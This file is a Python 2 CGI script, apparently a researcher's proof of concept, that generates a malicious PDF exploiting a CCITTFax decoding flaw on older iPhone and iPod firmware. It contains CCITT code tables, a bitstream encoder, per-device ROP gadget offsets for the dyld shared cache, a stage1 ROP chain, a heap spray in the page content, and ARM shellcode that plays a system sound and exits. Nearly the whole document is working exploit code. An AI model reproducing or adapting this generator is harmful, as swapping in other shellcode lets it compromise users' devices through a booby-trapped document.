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mkCrash.py
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mkCrash.py
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##########################################################################
#### Felipe Andres Manzano * fmanzano@fceia.unr.edu.ar ####
#### updates in http://felipe.andres.manzano.googlepages.com/home ####
##########################################################################
'''
'''
termWhite = [ ('00110101', 8, 0),
('000111', 6, 1),
('0111', 4, 2),
('1000', 4, 3),
('1011', 4, 4),
('1100', 4, 5),
('1110', 4, 6),
('1111', 4, 7),
('10011', 5, 8),
('10100', 5, 9),
('00111', 5, 10),
('01000', 5, 11),
('001000', 6, 12),
('000011', 6, 13),
('110100', 6, 14),
('110101', 6, 15),
('101010', 6, 16),
('101011', 6, 17),
('0100111', 7, 18),
('0001100', 7, 19),
('0001000', 7, 20),
('0010111', 7, 21),
('0000011', 7, 22),
('0000100', 7, 23),
('0101000', 7, 24),
('0101011', 7, 25),
('0010011', 7, 26),
('0100100', 7, 27),
('0011000', 7, 28),
('00000010', 8, 29),
('00000011', 8, 30),
('00011010', 8, 31),
('00011011', 8, 32),
('00010010', 8, 33),
('00010011', 8, 34),
('00010100', 8, 35),
('00010101', 8, 36),
('00010110', 8, 37),
('00010111', 8, 38),
('00101000', 8, 39),
('00101001', 8, 40),
('00101010', 8, 41),
('00101011', 8, 42),
('00101100', 8, 43),
('00101101', 8, 44),
('00000100', 8, 45),
('00000101', 8, 46),
('00001010', 8, 47),
('00001011', 8, 48),
('01010010', 8, 49),
('01010011', 8, 50),
('01010100', 8, 51),
('01010101', 8, 52),
('00100100', 8, 53),
('00100101', 8, 54),
('01011000', 8, 55),
('01011001', 8, 56),
('01011010', 8, 57),
('01011011', 8, 58),
('01001010', 8, 59),
('01001011', 8, 60),
('00110010', 8, 61),
('00110011', 8, 62),
('00110100', 8, 63)]
makeUpWhite = [ ('11011', 5, 64),
('10010', 5, 128),
('010111', 6, 192),
('0110111', 7, 256),
('00110110', 8, 320),
('00110111', 8, 384),
('01100100', 8, 448),
('01100101', 8, 512),
('01101000', 8, 576),
('01100111', 8, 640),
('011001100', 9, 704),
('011001101', 9, 768),
('011010010', 9, 832),
('011010011', 9, 896),
('011010100', 9, 960),
('011010101', 9, 1024),
('011010110', 9, 1088),
('011010111', 9, 1152),
('011011000', 9, 1216),
('011011001', 9, 1280),
('011011010', 9, 1344),
('011011011', 9, 1408),
('010011000', 9, 1472),
('010011001', 9, 1536),
('010011010', 9, 1600),
('011000', 6, 1664),
('010011011', 9, 1728),
('00000001000', 11, 1792), #extended
('00000001100', 11, 1856),
('00000001101', 11, 1920),
('000000010010', 12, 1984),
('000000010011', 12, 2048),
('000000010100', 12, 2112),
('000000010101', 12, 2176),
('000000010110', 12, 2240),
('000000010111', 12, 2304),
('000000011100', 12, 2368),
('000000011101', 12, 2432),
('000000011110', 12, 2496),
('000000011111', 12, 2560),
]
termBlack = [ ('0000110111', 10, 0),
('010', 3, 1),
('11', 2, 2),
('10', 2, 3),
('011', 3, 4),
('0011', 4, 5),
('0010', 4, 6),
('00011', 5, 7),
('000101', 6, 8),
('000100', 6, 9),
('0000100', 7, 10),
('0000101', 7, 11),
('0000111', 7, 12),
('00000100', 8, 13),
('00000111', 8, 14),
('000011000', 9, 15),
('0000010111', 10, 16),
('0000011000', 10, 17),
('0000001000', 10, 18),
('00001100111', 11, 19),
('00001101000', 11, 20),
('00001101100', 11, 21),
('00000110111', 11, 22),
('00000101000', 11, 23),
('00000010111', 11, 24),
('00000011000', 11, 25),
('000011001010', 12, 26),
('000011001011', 12, 27),
('000011001100', 12, 28),
('000011001101', 12, 29),
('000001101000', 12, 30),
('000001101001', 12, 31),
('000001101010', 12, 32),
('000001101011', 12, 33),
('000011010010', 12, 34),
('000011010011', 12, 35),
('000011010100', 12, 36),
('000011010101', 12, 37),
('000011010110', 12, 38),
('000011010111', 12, 39),
('000001101100', 12, 40),
('000001101101', 12, 41),
('000011011010', 12, 42),
('000011011011', 12, 43),
('000001010100', 12, 44),
('000001010101', 12, 45),
('000001010110', 12, 46),
('000001010111', 12, 47),
('000001100100', 12, 48),
('000001100101', 12, 49),
('000001010010', 12, 50),
('000001010011', 12, 51),
('000000100100', 12, 52),
('000000110111', 12, 53),
('000000111000', 12, 54),
('000000100111', 12, 55),
('000000101000', 12, 56),
('000001011000', 12, 57),
('000001011001', 12, 58),
('000000101011', 12, 59),
('000000101100', 12, 60),
('000001011010', 12, 61),
('000001100110', 12, 62),
('000001100111', 12, 63),]
makeUpBlack = [ ('0000001111', 10, 64),
('000011001000', 12, 128),
('000011001001', 12, 192),
('000001011011', 12, 256),
('000000110011', 12, 320),
('000000110100', 12, 384),
('000000110101', 12, 448),
('0000001101100', 13, 512),
('0000001101101', 13, 576),
('0000001001010', 13, 640),
('0000001001011', 13, 704),
('0000001001100', 13, 768),
('0000001001101', 13, 832),
('0000001110010', 13, 896),
('0000001110011', 13, 960),
('0000001110100', 13, 1024),
('0000001110101', 13, 1088),
('0000001110110', 13, 1152),
('0000001110111', 13, 1216),
('0000001010010', 13, 1280),
('0000001010011', 13, 1344),
('0000001010100', 13, 1408),
('0000001010101', 13, 1472),
('0000001011010', 13, 1536),
('0000001011011', 13, 1600),
('0000001100100', 13, 1664),
('0000001100101', 13, 1728),
('00000001000', 11, 1792), #extended
('00000001100', 11, 1856),
('00000001101', 11, 1920),
('000000010010', 12, 1984),
('000000010011', 12, 2048),
('000000010100', 12, 2112),
('000000010101', 12, 2176),
('000000010110', 12, 2240),
('000000010111', 12, 2304),
('000000011100', 12, 2368),
('000000011101', 12, 2432),
('000000011110', 12, 2496),
('000000011111', 12, 2560),
]
import struct
def writeWhite(runlength):
bitstream = ''
while runlength >= 320:
bitstream += '00110110'
runlength -= 320
while runlength >= 64:
bitstream += '11011'
runlength -= 64
for s,l,val in termWhite:
if val == runlength:
bitstream += s
return bitstream
def writeBlack(runlength):
bitstream = ''
while runlength >= 64:
bitstream += '0000001111'
runlength -= 64
for s,l,val in termBlack:
if val == runlength:
bitstream += s
return bitstream
def writeStr(s):
s = s + 'P'*(len(s)%2)
bitstream = ''
black = False
for i in xrange(0,len(s),2):
if black:
bitstream += writeBlack(struct.unpack('<H', s[i:i+2])[0])
else:
bitstream += writeWhite(struct.unpack('<H', s[i:i+2])[0])
black = not black
bitstream += '000000000001'*6
r = ''
for i in xrange(0,len(bitstream),4):
r += {'0110': '6', '0111': '7', '0000': '0', '0001': '1', '0011': '3', '0010': '2', '0101': '5', '0100': '4', '1111': 'f', '1110': 'e', '1100': 'c', '1101': 'd', '1010': 'a', '1011': 'b', '1001': '9', '1000': '8'}[(bitstream[i:i+4]+'0000')[:4]]
r+= '0'*(len(r)%2)
return r.decode('hex')
import os
import zlib
import sys
from miniPDF import *
doc= PDFDoc()
#pages
pages = PDFDict()
pages.add("Type", PDFName("Pages"))
#catalog
catalog = PDFDict()
catalog.add("Type", PDFName("Catalog"))
catalog.add("Pages", PDFRef(pages))
#lets add those to doc just for showing up the Ref object.
doc.add([catalog, pages])
#Set the pdf root
doc.setRoot(catalog)
_width=1
_height=256
import struct
import cgi
form = cgi.FieldStorage()
if "version" not in form or "shellcode" not in form or "baseaddr" not in form:
print "<H1>Error</H1>"
print "Please fill in the shellcode address, the dyld_shared_cache base address and the firmware version."
print str(form)
exit()
address = int(form["shellcode"].value,16)
dyld_shared_cache = int(form["baseaddr"].value,16)
version = form["version"].value
#address = int(sys.argv[1].split('&')[0].split('=') [2:],16)
#dyld_shared_cache = int(sys.argv[1].split('&')[1][2:],16)
#version = sys.argv[1].split('&')[2]
_offsets = { "iPhone3,1-7.0.4": {
"gadget0": 0x0bdb60d8 + dyld_shared_cache, #_longjmp
"gadget1": 0x014f1257 + dyld_shared_cache, #memcpy
"gadget2": 0x002ba973 + dyld_shared_cache,
"gadget3": 0x000d98eb + dyld_shared_cache,
"gadget4": 0x0bdb40df + dyld_shared_cache,
"gadget5": 0x015a60a5 + dyld_shared_cache,
"jit": 0xc0f54f8 + dyld_shared_cache,
"AudioServicesPlaySystemSound": 0xda2c34 + dyld_shared_cache,
"exit": 0xbcc38dc + dyld_shared_cache,
},
"iPhone4,1-7.1": {
"gadget0": 0x0c325008 + dyld_shared_cache,
"gadget1": 0x01551763 + dyld_shared_cache,
"gadget2": 0x00331167 + dyld_shared_cache, #0xc322e49 + dyld_shared_cache
"gadget3": 0x00118e6b + dyld_shared_cache, #0x1527ad9
"gadget4": 0x38322E5B -0x2c000000 + dyld_shared_cache,
"gadget5": 0x016290a5 + dyld_shared_cache,
"jit": 0xc6805b0 + dyld_shared_cache,
"AudioServicesPlaySystemSound": 0xe1fd94 + dyld_shared_cache,
"exit": 0xc231a5c + dyld_shared_cache,
},
"iPhone5,1-7.1" : {
"gadget0": 0x0c247798 + dyld_shared_cache,
"gadget1": 0x01600ad7 + dyld_shared_cache,
"gadget2": 0x00332433 + dyld_shared_cache,
"gadget3": 0x00119353 + dyld_shared_cache,
"gadget4": 0x38245BD9-0x2c000000 + dyld_shared_cache,
"gadget5": 0x0163e02d + dyld_shared_cache,
"jit": 0xc59e5a0 + dyld_shared_cache,
"AudioServicesPlaySystemSound": 0x2CE30249 -0x2c000000 + dyld_shared_cache,
"exit": 0x381E0710 - 0x2c000000 + dyld_shared_cache,
},
"iPhone5,1-7.1.1": {
"gadget0": 0x0c249798 + dyld_shared_cache,
"gadget1": 0x01600ad7 + dyld_shared_cache,
"gadget2": 0x00332433 + dyld_shared_cache,
"gadget3": 0x00119353 + dyld_shared_cache,
"gadget4": 0x38247BD9-0x2c000000 + dyld_shared_cache,
"gadget5": 0x0163e02d + dyld_shared_cache,
"jit": 0xc5a25a0 + dyld_shared_cache,
"AudioServicesPlaySystemSound": 0x2CE30249 -0x2c000000 + dyld_shared_cache,
"exit": 0x381E0710 - 0x2c000000 + dyld_shared_cache,
},
"iPhone5,1-7.1.2": {
"gadget0": 0x0c265798 + dyld_shared_cache,
"gadget1": 0x015a9a0f + dyld_shared_cache,
"gadget2": 0x003323cb + dyld_shared_cache,
"gadget3": 0x00119353 + dyld_shared_cache,
"gadget4": 0x38263BD9-0x2c000000 + dyld_shared_cache,
"gadget5": 0x0165602d + dyld_shared_cache,
"jit": 0xc5be5a0 + dyld_shared_cache,
"AudioServicesPlaySystemSound": 0x2CE30081 -0x2c000000 + dyld_shared_cache,
"exit": 0xc173819 + dyld_shared_cache,
},
"iPod4,1-6.1.5" : { "gadget1": 0x124559e + dyld_shared_cache,
"gadget0": 0x920e6a0 + dyld_shared_cache,
"jit": 0 + dyld_shared_cache,
"exit": 0x92054dc + dyld_shared_cache,
"AudioServicesPlaySystemSound": 0xbd4684+ dyld_shared_cache,
},
}
if version in ["iPhone3,1-7.0.4", "iPhone4,1-7.1", "iPhone5,1-7.1", "iPhone5,1-7.1.1", "iPhone5,1-7.1.2"]:
stage1 = struct.pack('<L', 0x00000001) # Refcount <--- address
stage1+= struct.pack('<L', address+0x14) # unused
stage1+= struct.pack('<L', 0x00000000) # tokenlist -> null for now
stage1+= struct.pack('<L', _offsets[version]['gadget0']) # unused/longjump gadget 0
stage1+= struct.pack('<L', address+0x4)
stage1+= struct.pack('<L', 0x200) #r4
stage1+= struct.pack('<L', _offsets[version]['jit']) #0x47474747) #r5
stage1+= struct.pack('<L', _offsets[version]['jit'] - 24) #0x48484848) #r6
stage1+= struct.pack('<L', 0x49494949) #r7
stage1+= struct.pack('<L', 0x50505050)#dyld_shared_cache+0x15486a3)#0x14c56b3)#0x50505050) #r8
stage1+= struct.pack('<L', address+23*4) #r10
stage1+= struct.pack('<L', 0x52525252) #r11
stage1+= struct.pack('<L', address+11*4) #_offsets[version]['jit']-7 *4) #sp
stage1+= struct.pack('<L', _offsets[version]['gadget1']) #lr
stage1+= struct.pack('<L', _offsets[version]['gadget4']) #0xbdb40df + dyld_shared_cache)
stage1+= struct.pack('<L', 0x200)
stage1+= struct.pack('<L', _offsets[version]['jit']-8)
stage1+= struct.pack('<L', 0x60606060)
stage1+= struct.pack('<L', _offsets[version]['gadget2']) #0x14a4ae9 + dyld_shared_cache) #ldr r0, [r0, #0], pop {r7, pc}
stage1+= struct.pack('<L', 0x62626262)
stage1+= struct.pack('<L', _offsets[version]['gadget3']) #0x15359df+ dyld_shared_cache)
stage1+= struct.pack('<L', 0x64646464)
stage1+= struct.pack('<L', _offsets[version]['gadget5']) #0x15a60a5+ dyld_shared_cache)
'''
PoC Shellcode. Up to 108 bytes.
00000000 <_main>:
0: e2820009 add r0, r2, #9
4: e12fff10 bx r0
00000008 <_main_thumb>:
8: 46fd mov sp, pc
a: 4b07 ldr r3, [pc, #28] ; (28 <stack_offset>)
c: 449d add sp, r3
e: 4803 ldr r0, [pc, #12] ; (1c <ios_AudioServicesPlaySystemSound_param>)
10: 4b03 ldr r3, [pc, #12] ; (20 <ios_AudioServicesPlaySystemSound>)
12: 4798 blx r3
14: 4b03 ldr r3, [pc, #12] ; (24 <ios_exit>)
16: 2000 movs r0, #0
18: 4718 bx r3
1a: 46c0 nop ; (mov r8, r8)
0000001c <ios_AudioServicesPlaySystemSound_param>:
1c: 000003ae .word 0x000003ae
00000020 <ios_AudioServicesPlaySystemSound>:
20: 2f938c34 .word 0x2f938c34
00000024 <ios_exit>:
24: 3a8598dc .word 0x3a8598dc
00000028 <stack_offset>:
28: 00010000 .word 0x00010000
'''
stage2 = '\x09\x00\x82\xe2\x10\xff\x2f\xe1\xfd\x46\x07\x4b\x9d\x44\x03\x48\x03\x4b\x98\x47\x03\x4b\x00\x20\x18\x47\xc0\x46'+struct.pack('<L', 0x3ea)+ struct.pack('<L', _offsets[version]['AudioServicesPlaySystemSound']|1) + struct.pack('<L', _offsets[version]['exit']|1)+struct.pack('<L', 0x50000)
stage1 +=stage2
assert (200-0x19-0x10-8-len(stage1))>=0
token = struct.pack('<L', 0 ) #next
token += struct.pack('<L', 0x00000007 ) #type 07 (array)
token += struct.pack('<L', address ) #pointer to spray/controled memory
token += struct.pack('<L', 0x41424344 ) #$unknown/unused
decodeparams = PDFDict()
decodeparams.add('Columns', PDFNum(0x3fffffff-4))
decodeparams.add('K', PDFNum(0))
decodeparams.add('Rows', PDFNum(0))
decodeparams.add('EndOfLine', PDFBool(False))
decodeparams.add('EncodedByteAlign', PDFBool(False))
decodeparams.add('EndOfBlock', PDFBool(True))
decodeparams.add('BlackIs1', PDFBool(True))
contents = PDFStream(PDFDict(),
('q '+ ' 0 '*100000 + str(PDFOctalString(stage1+'a'*(200-0x19-0x10-8-len(stage1))))*1000 +
''' BI /IM true /W 640 /H 480 /CS /G /BPC 1 /F /CCF /DP '''+str( decodeparams) +'''
ID ''' + writeStr(token*1) +'''
EI ''' + ' Q khj ^ ] ) wd !#$% ').encode('zlib'))
contents.dict.add('Filter', PDFName('FlateDecode'))
resources = PDFDict()
resources.add('ProcSet', PDFArray([PDFName('PDF'), PDFName('ImageC'), PDFName('ImageI'), PDFName('ImageB')]))
#Im1=PDFDict()
#Im1.add('Im1',PDFRef(xobj))
#resources.add('XObject', Im1)
#The pdf page
page = PDFDict()
page.add('Type', '/Page')
page.add('Parent', PDFRef(pages))
page.add('MediaBox', PDFArray([ 0, 0, _width, _height]))
page.add('Contents', PDFRef(contents))
page.add('Resources', PDFRef(resources))
[doc.add(x) for x in [contents, resources, page ]]
pages.add('Count', PDFNum(1))
pages.add('Kids',PDFArray([PDFRef(page)]))
print doc.__str__(),